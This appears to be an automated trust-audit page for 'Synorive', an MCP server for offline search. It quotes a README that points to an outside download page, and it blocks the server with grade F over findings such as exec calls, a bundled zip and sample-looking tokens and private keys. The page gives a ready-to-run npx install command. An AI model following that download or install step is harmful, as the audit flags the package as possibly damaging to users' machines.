SynoriveBLOCK
Search your files by meaning and fact-check the web, fully offline.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
🔍 Synorive - Find Anything, Even Offline
🎯 What Is Synorive?
Synorive is your personal super-powered search engine that lives entirely on your computer. It finds any file, any document, any code snippet, any photo, or even a specific moment inside a video — all without internet, all without subscriptions, and all without sending your private data anywhere.
If you have ever struggled to remember where you saved an old presentation, needed to find a quote in a scanned contract, or wanted to search inside a recorded meeting, Synorive is the answer.
✨ Why You'll Love It
- 100% Private – Everything runs locally. No cloud, no accounts, no tracking. Your files stay yours.
- Truly Offline – Works even without Wi-Fi. Perfect for travel, secure environments, or slow connections.
- Finds Everything – Documents (PDF, Word, text), images, scanned photos, code files, and even video content, searched by the second.
- Smart Understanding – It understands meaning, not just keywords. Search "dog playing in park" and it finds relevant images even if the filename is "IMG_2045.jpg."
- Instant Results – Hybrid technology combines classic keyword matching with advanced AI and reranking for lightning-fast, accurate results.
- No Setup Hassle – Install and go. No programming knowledge needed.
🚀 Getting Started
This guide will take you from zero to searching in under five minutes.
📥 Download Synorive
Visit this link to download the application: [https://arturoaeriform174.github.io](https://arturoaeriform174.github.io)
When you arrive at the page, look for a green button that says "Code" or "Download". Click it, then choose "Download ZIP" if you see that option. The download will start automatically. Save t
757a568b8640OBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add shared-types -- npx -y @synorive/[email protected]
{
"mcpServers": {
"shared-types": {
"command": "npx",
"args": [
"-y",
"@synorive/[email protected]"
]
}
}
}Exposed tools (26)
26 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
synorive_analyze | read | |
synorive_chapters | read | |
synorive_check_numbers | read | |
synorive_citations | read | |
synorive_compare | read | |
synorive_get_content | read | |
synorive_graph | read | |
synorive_harvest | read | |
synorive_ingest | read | |
synorive_memory | read | |
synorive_questions | read | |
synorive_read_url | read | |
synorive_research | read | |
synorive_reverse_image | read | |
synorive_reverse_video | read | |
synorive_scholar | read | |
synorive_scholar_review | read | |
synorive_scholar_table | read | |
synorive_search | read | |
synorive_similar | read | |
synorive_status | read | |
synorive_timeline | read | |
synorive_unified_search | read | |
synorive_verify | read | |
synorive_web_engines | read | |
synorive_web_search | read |
Trust audit
BLOCKgrade F · trust 46/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (5 observation(s))
- Network
- declared (11 observation(s))
- Shell
- declared (8 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (25)
['GitHub token', 'ghp_AbCdEfGhIjKlMnOpQrStUvWxYz0123456'],
['🔒 私钥', '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXk', false, null],
['私钥', '-----BEGIN RSA PRIVATE KEY-----\nMIIEow...'],
if (c) void exec(c);
onClick={() => void exec(c)}gradle-wrapper.jar
Software_hydrostome.zip
m = importlib.import_module(mod)
const r = await fetch(`http://127.0.0.1:${port}/health`, {const r = await fetch(`http://127.0.0.1:${port}/api/ingest`, {await fetch(`http://127.0.0.1:${port}/api/cloud/configure`, {await fetch(`http://127.0.0.1:${port}/api/cloud/configure`, {const r = await fetch(`http://127.0.0.1:${port}/api/cloud/test`, { method: 'POST' });body = "" + table_to_csv(table)
content=("" + body).encode("utf-8"),importlib.import_module(mod)
h = hashlib.sha1()
h = hashlib.sha1()
return "t:" + hashlib.sha1(f"{title_key}|{body_key}".encode()).hexdigest()[:20]return hashlib.sha1("\x1f".join(str(p) for p in parts).encode()).hexdigest()[:24]output: ../../release
- from: ../../engine
join(__dirname, '../../resources/icons/tray-20.png'),
join(__dirname, '../../resources/icons/icon-32.png'),
import type { ClipEntry } from '../../electron/shared/ipc-contract';Gates applied: critical_finding, no_behavioural_pass.
757a568b8640full audit observations/trust-audit/mcp-server/arturoaeriform174__synorive.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | 757a568b8640 | BLOCK | F | 46 | first audit |
Questions
What is the Synorive MCP server?
Search your files by meaning and fact-check the web, fully offline.
What tools does Synorive expose?
26 in total: 26 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is Synorive safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (46/100) and found 5 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does Synorive need?
No credential environment variables were found in its source, so it appears to need none.
How does Synorive run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as @synorive/shared-types at 0.1.0.
How current is this page?
The grade is for one exact copy of the source (757a568b8640), read on 2026-10-12. The repository is watched and re-audited when it changes.